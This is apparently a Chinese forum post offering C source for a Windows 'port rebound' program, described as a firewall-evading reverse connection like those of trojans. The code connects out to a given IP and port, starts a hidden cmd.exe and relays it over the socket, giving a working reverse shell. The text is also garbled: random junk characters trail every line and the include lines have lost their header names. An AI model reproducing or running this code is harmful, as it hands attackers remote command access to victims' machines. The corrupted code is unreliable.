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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CARq^xI-  
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/* ============================== #Xj;f^}/  
Rebound port in Windows NT /S/tE  
By wind,2006/7 +i2YX7Of  
===============================*/ +6wx58.B&  
#include TR+Q4Y:  
#include /1H9z`qV  
rn[$x(G  
#pragma comment(lib,"wsock32.lib") ,WzG.3^m  
JIB?dIN 1  
void OutputShell(); ]9dx3<2_I  
SOCKET sClient; t4C<#nfo  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <[esA9.]t  
G!-7ic_4  
void main(int argc,char **argv) Hs.6;|0%  
{ r=xTs,xx  
WSADATA stWsaData; ZKZl>dDuh  
int nRet; Bi$ 0{V Z8  
SOCKADDR_IN stSaiClient,stSaiServer; ;,()wH  
5XhK#X%:A  
if(argc != 3) i#Ne'q;T  
{ ll 6]W~[ZC  
printf("Useage:\n\rRebound DestIP DestPort\n"); EaJDz`T}  
return; ~r{\WZ.  
} J~M H_N  
|;X?">7NW  
WSAStartup(MAKEWORD(2,2),&stWsaData); N:"M&E UM  
7AS.)Q#=x  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Smi%dp.  
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stSaiClient.sin_family = AF_INET; hg$qb eUl  
stSaiClient.sin_port = htons(0); ecM4]U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +R3\cRM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A%.J%[MVz  
{ K'a#Mg  
printf("Bind Socket Failed!\n"); 'Wo?%n  
return; ocb%&m ;i  
} VyB\]EBu  
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stSaiServer.sin_family = AF_INET; l{M;PaJ`}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Kx(76_XD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tn(?nQN3  
D|u^8\'.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '-$))AdD  
{ V[BY/<z)A  
printf("Connect Error!"); GlXA-p<  
return; x*5 Ch~<k  
} D!l [3  
OutputShell(); wrZ7Sr!/V  
} UrD=|-r`  
 ;Puy A  
void OutputShell() 8@9hU`H8l  
{ 6R$ F =MB  
char szBuff[1024]; Y&K<{ KA\4  
SECURITY_ATTRIBUTES stSecurityAttributes; g&oc=f`  
OSVERSIONINFO stOsversionInfo; mf Wz@=0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~%cSckE  
STARTUPINFO stStartupInfo; e; &{50VY  
char *szShell; CVyx lc>  
PROCESS_INFORMATION stProcessInformation;  =F",D=  
unsigned long lBytesRead; f}Ne8]U/Hc  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f.U0E6-(3N  
l(3'Re  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); se^NQ=  
stSecurityAttributes.lpSecurityDescriptor = 0; 2)HxW}o  
stSecurityAttributes.bInheritHandle = TRUE; 1NE!=;VOl  
q\ \8b{~  
E|F!S(.:,M  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N'lGA;}i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N(:EK  
A{DIp+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WI*^+E&=*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c%xED%X9  
stStartupInfo.wShowWindow = SW_HIDE; lOWB^uS%  
stStartupInfo.hStdInput = hReadPipe; 9^#zxmH)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pXpLL_  
XwKZv0ub  
GetVersionEx(&stOsversionInfo); -z>Z0viA  
5WtQwN~  
switch(stOsversionInfo.dwPlatformId) (R;) 9I\  
{ {UV<=R,E  
case 1: Lic{'w&  
szShell = "command.com"; CYTuj>Ww  
break; !:g>CDA  
default: Y:tW]   
szShell = "cmd.exe"; s/W!6JX4  
break; YYZs#_  
} EyKkjEXx_  
6ywnyh  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^5FJ}MMJf  
&F<J#cfe8  
send(sClient,szMsg,77,0); BCa90  
while(1) 1{\,5U&  
{ BM=V,BZy  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~_f |".T  
if(lBytesRead) +7lRP)1R  
{ Xj})?{FP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pR@GvweA  
send(sClient,szBuff,lBytesRead,0); -6em*$k^  
} X d19GP!  
else n!CP_  
{ : e0R7sj  
lBytesRead=recv(sClient,szBuff,1024,0); G]m[ S-  
if(lBytesRead<=0) break; Y7b,td1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;S{Ld1;  
} O>b&-U"R  
} i SAidK,  
\U<F\i  
return; k Nf!j  
}
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